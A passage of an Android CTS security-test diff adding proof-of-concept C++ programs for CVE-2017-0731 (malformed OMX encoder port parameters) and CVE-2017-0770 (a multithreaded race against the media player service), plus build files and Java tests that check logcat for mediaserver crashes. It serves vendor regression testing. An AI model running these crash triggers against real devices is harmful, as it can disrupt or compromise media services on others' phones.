+ memset(memory->pointer(), 0xCF, inBufferSize);
+ err = service->useBuffer(node, 0, memory, &inBufferId[i],
+ inBufferSize /*allottedSize*/);
+ ALOGI("useBuffer 0, port index 0, err: %d", err);
+ }
+
+ for (int i = 0; i < outBufferCnt; i++) {
+ sp<IMemory> memory = dealerOut->allocate(outBufferSize);
+ err = service->useBuffer(node, 1 /*out port index*/, memory,
+ &outBufferId[i], outBufferSize);
+ ALOGI("useBuffer, port index 1, err: %d", err);
+ }
+
+ // change state from loaded to idle
+ err = service->sendCommand(node, OMX_CommandStateSet, 2);
+ ALOGI("sendCommand, err: %d", err);
+
+ // change state from idle to executing
+ err = service->sendCommand(node, OMX_CommandStateSet, 3);
+ ALOGI("sendCommand, err: %d", err);
+
+ for (int i = 0; i < inBufferCnt; i++) {
+ err = service->emptyBuffer(node, inBufferId[i], 0,
+ 0 /*range_length, nFilledLen*/, 0 /*flags*/, 0,
+ fenceFd);
+ ALOGI("emptyBuffer, err: %d", err);
+ }
+
+ for (int i = 0; i < outBufferCnt; i++) {
+ err = service->fillBuffer(node, outBufferId[i], fenceFd);
+ ALOGI("fillBuffer, err: %d", err);
+ }
+
+ sleep(2);
+
+ // change state from executing to idle
+ err = service->sendCommand(node, OMX_CommandStateSet, OMX_StateIdle);
+ ALOGI("sendCommand, err: %d", err);
+
+ // change state from executing to idle
+ err = service->sendCommand(node, OMX_CommandStateSet, OMX_StateLoaded);
+ ALOGI("sendCommand, err: %d", err);
+
+ for (int i = 0; i < inBufferCnt; i++) {
+ err = service->freeBuffer(node, 0, inBufferId[i]);
+ ALOGI("freeBuffer port 0, err: %d", err);
+ }
+
+ for (int i = 0; i < outBufferCnt; i++) {
+ err = service->freeBuffer(node, 1, outBufferId[i]);
+ ALOGI("freeBuffer port 1, err: %d", err);
+ }
+
+ {
+ sleep(2);
+
+ /* set mWidth and mHeight*/
+ int paramsSize = sizeof(OMX_PARAM_PORTDEFINITIONTYPE);
+ OMX_PARAM_PORTDEFINITIONTYPE *params =
+ (OMX_PARAM_PORTDEFINITIONTYPE *)malloc(
+ sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ params->nBufferCountActual = 4;
+ params->nBufferCountMin = 4;
+ params->nPortIndex = 0; // input
+ params->nSize = sizeof(OMX_PARAM_PORTDEFINITIONTYPE);
+
+ params->format.video.eCompressionFormat = OMX_VIDEO_CodingUnused;
+ params->format.video.eColorFormat = OMX_COLOR_FormatYUV420SemiPlanar;
+
+ params->format.video.nFrameWidth = 1024;
+ params->format.video.nFrameHeight = 1024;
+
+ err = service->setParameter(node, OMX_IndexParamPortDefinition, params,
+ paramsSize);
+ ALOGI("setParameter, err: %d", err);
+
+ // get input port parameters
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ InitOMXParams(&def);
+ def.nPortIndex = 0;
+ err = service->getParameter(node, OMX_IndexParamPortDefinition, &def,
+ sizeof(def));
+ ALOGI("port 0: %u buffers of size %u", def.nBufferCountActual,
+ def.nBufferSize);
+
+ // prepare input port buffers
+ int inMemSize = def.nBufferCountActual * def.nBufferSize;
+ int inBufferCnt = def.nBufferCountActual;
+ int inBufferSize = inMemSize / inBufferCnt;
+
+ // get output port parameters
+ InitOMXParams(&def);
+ def.nPortIndex = 1;
+ err = service->getParameter(node, OMX_IndexParamPortDefinition, &def,
+ sizeof(def));
+ ALOGI("port 1: %u buffers of size %u", def.nBufferCountActual,
+ def.nBufferSize);
+
+ // prepare output port buffers
+ int outMemSize = def.nBufferCountActual * def.nBufferSize;
+ int outBufferCnt = def.nBufferCountActual;
+ int outBufferSize = outMemSize / outBufferCnt;
+
+ sp<MemoryDealer> dealerIn = new MemoryDealer(inMemSize);
+ IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+
+ sp<MemoryDealer> dealerOut = new MemoryDealer(outMemSize);
+ IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+
+ for (int i = 0; i < inBufferCnt; i++) {
+ sp<IMemory> memory = dealerIn->allocate(inBufferSize);
+ memset(memory->pointer(), 0xCF, inBufferSize);
+ err = service->useBuffer(node, 0, memory, &inBufferId[i],
+ inBufferSize /*allottedSize*/);
+ ALOGI("useBuffer 0, port index 0, err: %d", err);
+ }
+
+ for (int i = 0; i < outBufferCnt; i++) {
+ sp<IMemory> memory = dealerOut->allocate(outBufferSize);
+ err = service->useBuffer(node, 1 /*out port index*/, memory,
+ &outBufferId[i], outBufferSize);
+ ALOGI("useBuffer, port index 1, err: %d", err);
+ }
+
+ // change state from loaded to idle
+ err = service->sendCommand(node, OMX_CommandStateSet, 2);
+ ALOGI("sendCommand, err: %d", err);
+
+ // change state from idle to executing
+ err = service->sendCommand(node, OMX_CommandStateSet, 3);
+ ALOGI("sendCommand, err: %d", err);
+
+ for (int i = 0; i < inBufferCnt; i++) {
+ err = service->emptyBuffer(node, inBufferId[i], 0,
+ inBufferSize /*range_length, nFilledLen*/,
+ 0 /*flags*/, 0, fenceFd);
+ ALOGI("emptyBuffer, err: %d", err);
+ }
+
+ for (int i = 0; i < outBufferCnt; i++) {
+ err = service->fillBuffer(node, outBufferId[i], fenceFd);
+ ALOGI("fillBuffer, err: %d", err);
+ }
+ }
+ err = service->freeNode(node);
+ ALOGI("freeNode, err: %d", err);
+ return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0731/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0731/Android.mk
new file mode 100644
index 0000000..7709ee1
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0731/Android.mk
@@ -0,0 +1,56 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0731
+LOCAL_SRC_FILES:= poc.cpp
+
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SHARED_LIBRARIES := \
+ libstagefright libmedia libutils libstagefright_foundation \
+ libgui libcutils liblog libcamera_client libradio libsoundtrigger libui
+
+LOCAL_SHARED_LIBRARIES += libbinder
+
+LOCAL_C_INCLUDES:= \
+ frameworks/av/media/libstagefright \
+ frameworks/av/media/libstagefright/include \
+ $(TOP)/frameworks/native/include/media/openmax \
+ $(TOP)/frameworks/native/services/surfaceflinger \
+ system/media/camera/include \
+ system/media/private/camera/include \
+ system/media/camera/tests \
+ frameworks/av/services/camera/libcameraservice \
+ frameworks/av/include/camera \
+ frameworks/native/include \
+ system/core/gatekeeperd \
+ $(TOP)/hardware/qcom/media/msm8974/mm-core/inc \
+ $(TOP)/hardware/qcom/media/mm-video-v4l2/vidc/vdec/inc \
+ $(TOP)/hardware/libhardware/modules/gralloc \
+ $(TOP)/system/media/audio_effects/include \
+ $(TOP)/system/bt \
+ $(TOP)/system/core \
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_CFLAGS += -Wno-multichar -Wall -fpermissive
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0731/local_poc.h b/hostsidetests/security/securityPatch/CVE-2017-0731/local_poc.h
new file mode 100644
index 0000000..f98c6ca
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0731/local_poc.h
@@ -0,0 +1,86 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __FUZZ_H__
+#define __FUZZ_H__
+
+#pragma GCC diagnostic ignored "-Wunused-parameter"
+#pragma GCC diagnostic ignored "-Wsign-compare"
+#pragma GCC diagnostic ignored "-Wunused-variable"
+#pragma GCC diagnostic ignored "-Wnon-virtual-dtor"
+
+#define LOG_TAG "fuzz"
+
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+
+#include <media/stagefright/foundation/ADebug.h>
+
+#include <binder/Binder.h>
+#include <binder/IServiceManager.h>
+#include <binder/ProcessState.h>
+#include <binder/IPCThreadState.h>
+
+#include <media/IMediaHTTPService.h>
+#include <media/IMediaPlayerService.h>
+#include <media/stagefright/foundation/ALooper.h>
+#include <media/stagefright/AudioPlayer.h>
+#include <media/stagefright/DataSource.h>
+#include <media/stagefright/JPEGSource.h>
+#include <media/stagefright/MediaDefs.h>
+#include <media/stagefright/MediaErrors.h>
+#include <media/stagefright/MediaExtractor.h>
+#include <media/stagefright/MediaSource.h>
+#include <media/stagefright/MetaData.h>
+#include <media/stagefright/OMXClient.h>
+#include <media/mediametadataretriever.h>
+
+#include <private/media/VideoFrame.h>
+
+#include <media/IHDCP.h>
+#include <media/IMediaRecorder.h>
+#include <media/ICrypto.h>
+#include <media/IMediaCodecList.h>
+
+#include <media/IAudioFlinger.h>
+#include <media/IEffect.h>
+#include <media/IEffectClient.h>
+#include <private/media/AudioEffectShared.h>
+#include <media/AudioEffect.h>
+
+#include <gui/ISensorServer.h>
+#include <gui/ISensorEventConnection.h>
+
+#include <binder/MemoryDealer.h>
+#include <binder/MemoryBase.h>
+#include <binder/MemoryHeapBase.h>
+
+using namespace android;
+
+//
+// OMX family
+//
+template<class T>
+static void InitOMXParams(T *params) {
+ params->nSize = sizeof(T);
+ params->nVersion.s.nVersionMajor = 1;
+ params->nVersion.s.nVersionMinor = 0;
+ params->nVersion.s.nRevision = 0;
+ params->nVersion.s.nStep = 0;
+}
+
+#endif
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0731/poc.cpp b/hostsidetests/security/securityPatch/CVE-2017-0731/poc.cpp
new file mode 100644
index 0000000..6f95736
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0731/poc.cpp
@@ -0,0 +1,143 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "local_poc.h"
+#include <media/IOMX.h>
+#include "OMX_IndexExt.h"
+#include "OMX_QCOMExtns.h"
+#include "OMX_Component.h"
+#include "gralloc_priv.h"
+#include <media/hardware/HardwareAPI.h>
+
+struct DummyOMXObserver: public BnOMXObserver {
+public:
+ DummyOMXObserver() {
+ ALOGI("DummyOMXObserver, this: %p", this);
+ }
+
+ virtual void onMessages(const std::list<omx_message> &messages) {
+ ALOGI("dummy omx observer");
+ if (messages.empty()) {
+ return;
+ }
+ }
+
+protected:
+ virtual ~DummyOMXObserver() {
+ }
+};
+
+static bool connectOMX(sp<IOMX> &omx) {
+ sp<IServiceManager> sm = defaultServiceManager();
+
+ sp<IBinder> binder = sm->getService(String16("media.player"));
+ sp<IMediaPlayerService> mediaPlayerService = interface_cast<
+ IMediaPlayerService>(binder);
+
+ if (mediaPlayerService == NULL) {
+ ALOGE("cannot get the media player service");
+ return false;
+ }
+
+ omx = mediaPlayerService->getOMX();
+ if (omx == NULL) {
+ ALOGE("cannot get the OMX interface");
+ return false;
+ }
+
+ return true;
+}
+
+int main() {
+ sp<IOMX> service;
+ if (connectOMX(service) == false)
+ return -1;
+ IOMX::node_id node = 0;
+ int fenceFd = -1;
+
+ sp<DummyOMXObserver> observer = new DummyOMXObserver();
+ char *codecName = "OMX.google.mpeg4.encoder";
+ status_t err = service->allocateNode(codecName, observer, nullptr, &node);
+ if (err != OK) {
+ return -1;
+ }
+
+ // get input port parameters
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ InitOMXParams(&def);
+ def.nPortIndex = 0;
+ err = service->getParameter(node, OMX_IndexParamPortDefinition, &def, sizeof(def));
+
+ def.nBufferSize = 11182506;
+ def.format.video.nFrameWidth = -3200000;
+ def.format.video.nFrameHeight = 0;
+ err = service->setParameter(node, OMX_IndexParamPortDefinition, &def, sizeof(def));
+
+ // prepare input port buffers
+ int inMemSize = def.nBufferCountActual * def.nBufferSize;
+ int inBufferCnt = def.nBufferCountActual;
+ int inBufferSize = inMemSize / inBufferCnt;
+
+ sp<MemoryDealer> dealerIn = new MemoryDealer(inMemSize);
+ IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+
+ // get output port parameters
+ InitOMXParams(&def);
+ def.nPortIndex = 1;
+
+ err = service->getParameter(node, OMX_IndexParamPortDefinition, &def, sizeof(def));
+
+ // prepare output port buffers
+ int outMemSize = def.nBufferCountActual * def.nBufferSize;
+ int outBufferCnt = def.nBufferCountActual;
+ int outBufferSize = outMemSize / outBufferCnt;
+
+ sp<MemoryDealer> dealerOut = new MemoryDealer(outMemSize);
+ IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+
+ // enable allocate_native_handle
+ err = service->enableNativeBuffers(node, 2, (OMX_BOOL)2, (OMX_BOOL)0);
+
+ for (int i = 0; i < inBufferCnt; i++) {
+ sp<IMemory> memory = dealerIn->allocate(inBufferSize);
+ err = service->useBuffer(node, 0, memory, &inBufferId[i], inBufferSize/*allottedSize*/);
+ }
+
+ for (int i = 0; i < outBufferCnt; i++) {
+ sp<IMemory> memory = dealerOut->allocate(outBufferSize);
+ if (memory == 0 || memory->pointer() == NULL) {
+ return -1;
+ }
+ err = service->allocateBufferWithBackup(node, 1/*in port index*/, memory, &outBufferId[i], outBufferSize);
+ }
+
+ // change state from loaded to idle
+ err = service->sendCommand(node, OMX_CommandStateSet, 2);
+
+ // change state from idle to executing
+ err = service->sendCommand(node, OMX_CommandStateSet, 3);
+
+ sleep(3);
+
+ for (int i = 0; i < inBufferCnt; i++) {
+ err = service->emptyBuffer(node, inBufferId[i], 0, inBufferSize, 0, 0, fenceFd);
+ }
+
+ for (int i = 0; i <outBufferCnt ; i++) {
+ err = service->fillBuffer(node, outBufferId[i], fenceFd);
+ }
+ return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0770/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0770/Android.mk
new file mode 100644
index 0000000..c153350
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0770/Android.mk
@@ -0,0 +1,53 @@
+#Copyright(C) 2017 The Android Open Source Project
+#
+#Licensed under the Apache License, Version 2.0(the "License");
+#you may not use this file except in compliance with the License.
+#You may obtain a copy of the License at
+#
+#http: // www.apache.org/licenses/LICENSE-2.0
+#
+#Unless required by applicable law or agreed to in writing, software
+#distributed under the License is distributed on an "AS IS" BASIS,
+#WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#See the License for the specific language governing permissions and
+#limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0770
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_COMPATIBILITY_SUPPORT_FILES += $(LOCAL_PATH)/cve_2017_0770.mp4:cve_2017_0770.mp4
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SHARED_LIBRARIES := \
+ libstagefright libmedia libutils libstagefright_foundation \
+ libgui libcutils liblog libsoundtrigger libui libEGL
+
+LOCAL_SHARED_LIBRARIES += libbinder
+
+LOCAL_C_INCLUDES:= \
+ frameworks/av/media/libstagefright \
+ frameworks/av/media/libstagefright/include \
+ $(TOP)/frameworks/native/include/media/openmax \
+ $(TOP)/frameworks/native/services/surfaceflinger \
+ frameworks/native/include \
+ system/core/gatekeeperd \
+ $(TOP)/system/media/audio_effects/include \
+ $(TOP)/system/bt \
+ $(TOP)/system/core \
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0770/cve_2017_0770.mp4 b/hostsidetests/security/securityPatch/CVE-2017-0770/cve_2017_0770.mp4
new file mode 100644
index 0000000..01f49b2
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0770/cve_2017_0770.mp4
Binary files differ
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0770/poc.cpp b/hostsidetests/security/securityPatch/CVE-2017-0770/poc.cpp
new file mode 100644
index 0000000..72c3c08
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0770/poc.cpp
@@ -0,0 +1,203 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#pragma GCC diagnostic ignored "-Wunused-parameter"
+#pragma GCC diagnostic ignored "-Wsign-compare"
+#pragma GCC diagnostic ignored "-Wunused-variable"
+#pragma GCC diagnostic ignored "-Wnon-virtual-dtor"
+
+#define LOG_TAG "fuzz"
+
+#include <fcntl.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+
+#include <media/stagefright/foundation/ADebug.h>
+
+#include <binder/Binder.h>
+#include <binder/IPCThreadState.h>
+#include <binder/IServiceManager.h>
+#include <binder/ProcessState.h>
+
+#include <media/IMediaHTTPService.h>
+#include <media/IMediaPlayerService.h>
+#include <media/stagefright/foundation/ALooper.h>
+
+#include <media/mediametadataretriever.h>
+#include <media/stagefright/AudioPlayer.h>
+#include <media/stagefright/DataSource.h>
+#include <media/stagefright/JPEGSource.h>
+#include <media/stagefright/MediaDefs.h>
+#include <media/stagefright/MediaErrors.h>
+#include <media/stagefright/MediaExtractor.h>
+#include <media/stagefright/MediaSource.h>
+#include <media/stagefright/MetaData.h>
+#include <media/stagefright/OMXClient.h>
+
+#include <private/media/VideoFrame.h>
+
+#include <media/ICrypto.h>
+#include <media/IHDCP.h>
+#include <media/IMediaCodecList.h>
+#include <media/IMediaRecorder.h>
+
+#include <media/AudioEffect.h>
+#include <media/IAudioFlinger.h>
+#include <media/IEffect.h>
+#include <media/IEffectClient.h>
+#include <private/media/AudioEffectShared.h>
+
+#include <gui/ISensorEventConnection.h>
+#include <gui/ISensorServer.h>
+
+#include <binder/MemoryBase.h>
+#include <binder/MemoryDealer.h>
+#include <binder/MemoryHeapBase.h>
+
+#include <gui/BufferQueue.h>
+#include <gui/BufferQueueConsumer.h>
+#include <gui/BufferQueueCore.h>
+#include <gui/BufferQueueProducer.h>
+#include <gui/CpuConsumer.h>
+
+using namespace android;
+
+sp<IMediaPlayer> mp;
+static int gFd;
+
+void *setThread1(void *) {
+ status_t err;
+ while (1) {
+ if (mp != NULL) {
+ mp->setDataSource(gFd, 0, 800);
+ } else {
+ usleep(5000);
+ }
+ }
+ return NULL;
+}
+
+void *setThread2(void *) {
+ status_t err;
+ while (1) {
+ if (mp != NULL) {
+ mp->disconnect();
+ } else {
+ usleep(5000);
+ }
+ }
+ return NULL;
+}
+
+void *setThread3(void *) {
+ status_t err;
+ while (1) {
+ if (mp != NULL) {
+ sp<IGraphicBufferProducer> producer;
+ sp<IGraphicBufferConsumer> consumer;
+ BufferQueue::createBufferQueue(&producer, &consumer);
+ consumer->setConsumerName(String8("test"));
+ consumer->setConsumerUsageBits(GRALLOC_USAGE_HW_VIDEO_ENCODER);
+
+ sp<BufferQueue::ProxyConsumerListener> proxy =
+ new BufferQueue::ProxyConsumerListener(NULL);
+ consumer->consumerConnect(proxy, false);
+
+ err = mp->setVideoSurfaceTexture(producer);
+ } else {
+ usleep(5000);
+ }
+ }
+ return NULL;
+}
+
+int gDumpFd;
+static void *dumpThread(void *) {
+ Parcel data, reply;
+ data.writeFileDescriptor(gDumpFd, false);
+ data.writeInt32(0);
+
+ while (1) {
+ if (mp != NULL)
+ IInterface::asBinder(mp)->transact(1598311760 /*DUMP_TRANSACTION*/, data,
+ &reply);
+ }
+
+ return NULL;
+}
+
+class MyDeathRecipient : public IBinder::DeathRecipient {
+ public:
+ MyDeathRecipient() : mDied(false) {}
+ virtual void binderDied(const wp<IBinder> &who __unused) { mDied = true; }
+ bool died() const { return mDied; }
+
+ private:
+ bool mDied;
+};
+
+void poc() {
+ const char *fileName = "/sdcard/cve_2017_0770.mp4";
+ gFd = open(fileName, O_RDWR | O_CREAT, 0744);
+
+ if (gFd == -1) {
+ return;
+ }
+
+ pthread_t pt[100];
+
+ for (int i = 20; i < 40; i++) pthread_create(&pt[i], NULL, setThread2, NULL);
+
+ for (int i = 0; i < 20; i++) pthread_create(&pt[i], NULL, setThread1, NULL);
+
+ for (int i = 40; i < 60; i++) pthread_create(&pt[i], NULL, setThread3, NULL);
+
+ do {
+ sp<IServiceManager> sm = defaultServiceManager();
+
+ sp<IBinder> binder = sm->getService(String16("media.player"));
+ sp<IMediaPlayerService> mediaPlayerService =
+ interface_cast<IMediaPlayerService>(binder);
+
+ if (mediaPlayerService == NULL) {
+ sleep(1);
+ binder = sm->getService(String16("media.player"));
+ mediaPlayerService = interface_cast<IMediaPlayerService>(binder);
+ if (mediaPlayerService == NULL) {
+ return;
+ }
+ }
+
+ sp<MyDeathRecipient> dr = new MyDeathRecipient();
+ binder->linkToDeath(dr);
+
+ sp<IMediaPlayerClient> client;
+ audio_session_t audioSessionId = AUDIO_SESSION_NONE;
+ status_t err;
+
+ mp = mediaPlayerService->create(client, audioSessionId);
+ if (mp == NULL) {
+ return;
+ }
+
+ } while (1);
+}
+
+int main() {
+ android::ProcessState::self()->startThreadPool();
+ poc();
+ return 0;
+}
diff --git a/hostsidetests/security/src/android/security/cts/AdbUtils.java b/hostsidetests/security/src/android/security/cts/AdbUtils.java
index 60c4e39..0190683 100644
--- a/hostsidetests/security/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/security/src/android/security/cts/AdbUtils.java
@@ -21,6 +21,7 @@
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.log.LogUtil.CLog;
import android.platform.test.annotations.RootPermissionTest;
@@ -32,7 +33,6 @@
import java.io.OutputStream;
import java.util.Scanner;
import java.util.concurrent.TimeUnit;
-import java.util.regex.Pattern;
public class AdbUtils {
@@ -61,7 +61,7 @@
/**
* Pushes and runs a binary to the selected device
*
- * @param pathToPoc a string path to poc from the /res folder
+ * @param pocName a string path to poc from the /res folder
* @param device device to be ran on
* @param timeout time to wait for output in seconds
* @return the console output from the binary
@@ -90,6 +90,48 @@
}
/**
+ * Enables malloc debug on a given process.
+ *
+ * @param processName the name of the process to run with libc malloc debug
+ * @param device the device to use
+ * @return true if enabling malloc debug succeeded
+ */
+ public static boolean enableLibcMallocDebug(String processName, ITestDevice device) throws Exception {
+ device.executeShellCommand("setprop libc.debug.malloc.program " + processName);
+ device.executeShellCommand("setprop libc.debug.malloc.options \"backtrace guard\"");
+ /**
+ * The pidof command is being avoided because it does not exist on versions before M, and
+ * it behaves differently between M and N.
+ * Also considered was the ps -AoPID,CMDLINE command, but ps does not support options on
+ * versions before O.
+ * The [^]] prefix is being used for the grep command to avoid the case where the output of
+ * ps includes the grep command itself.
+ */
+ String cmdOut = device.executeShellCommand("ps | grep '[^]]" + processName + "'");
+ /**
+ * .hasNextInt() checks if the next token can be parsed as an integer, not if any remaining
+ * token is an integer.
+ * Example command: $ ps | fgrep mediaserver
+ * Out: media 269 1 77016 24416 binder_thr 00f35142ec S /system/bin/mediaserver
+ * The second field of the output is the PID, which is needed to restart the process.
+ */
+ Scanner s = new Scanner(cmdOut).useDelimiter("\\D+");
+ if(!s.hasNextInt()) {
+ CLog.w("Could not find pid for process: " + processName);
+ return false;
+ }
+
+ String result = device.executeShellCommand("kill -9 " + s.nextInt());
+ if(!result.equals("")) {
+ CLog.w("Could not restart process: " + processName);
+ return false;
+ }
+
+ TimeUnit.SECONDS.sleep(1);
+ return true;
+ }
+
+ /**
* Pushes and installs an apk to the selected device
*
* @param pathToApk a string path to apk from the /res folder
@@ -108,6 +150,24 @@
}
}
+ /**
+ * Extracts a resource and pushes it to the device
+ *
+ * @param fullResourceName a string path to resource from the res folder
+ * @param deviceFilePath the remote destination absolute file path
+ * @param device device to be ran on
+ */
+ public static void pushResource(String fullResourceName, String deviceFilePath,
+ ITestDevice device) throws Exception {
+ File resFile = File.createTempFile("CTSResource", "");
+ try {
+ resFile = extractResource(fullResourceName, resFile);
+ device.pushFile(resFile, deviceFilePath);
+ } finally {
+ resFile.delete();
+ }
+ }
+
/**
* Extracts the binary data from a resource and writes it to a temp file
*/
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_05.java b/hostsidetests/security/src/android/security/cts/Poc17_05.java
new file mode 100644
index 0000000..dac7462
--- /dev/null
+++ b/hostsidetests/security/src/android/security/cts/Poc17_05.java
@@ -0,0 +1,49 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc17_05 extends SecurityTestCase {
+
+ /**
+ * b/34705519
+ */
+ @SecurityTest
+ public void testPocCve_2017_0595() throws Exception {
+ AdbUtils.runCommandLine("logcat -c" , getDevice());
+ AdbUtils.runPocNoOutput("CVE-2017-0595", getDevice(), 60);
+ String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatches("[\\s\\n\\S]*Fatal signal 11 \\(SIGSEGV\\)" +
+ "[\\s\\n\\S]*>>> /system/bin/" +
+ "mediaserver <<<[\\s\\n\\S]*", logcatOut);
+ }
+
+ /**
+ * b/34749392
+ */
+ @SecurityTest
+ public void testPocCve_2017_0596() throws Exception {
+ AdbUtils.runCommandLine("logcat -c" , getDevice());
+ AdbUtils.runPocNoOutput("CVE-2017-0596", getDevice(), 60);
+ String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatches("[\\s\\n\\S]*Fatal signal 11 \\(SIGSEGV\\)" +
+ "[\\s\\n\\S]*>>> /system/bin/" +
+ "mediaserver <<<[\\s\\n\\S]*", logcatOut);
+ }
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_07.java b/hostsidetests/security/src/android/security/cts/Poc17_07.java
new file mode 100644
index 0000000..feab599
--- /dev/null
+++ b/hostsidetests/security/src/android/security/cts/Poc17_07.java
@@ -0,0 +1,50 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc17_07 extends SecurityTestCase {
+
+ /*
+ * b/36991414
+ */
+ @SecurityTest
+ public void testPocBug_36991414() throws Exception {
+ if(containsDriver(getDevice(), "/system/lib64/libgui.so")) {
+ AdbUtils.runCommandLine("logcat -c", getDevice());
+ AdbUtils.runPoc("Bug-36991414", getDevice(), 60);
+ String pocOut = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatches("[\\s\\n\\S]*Fatal signal 11" +
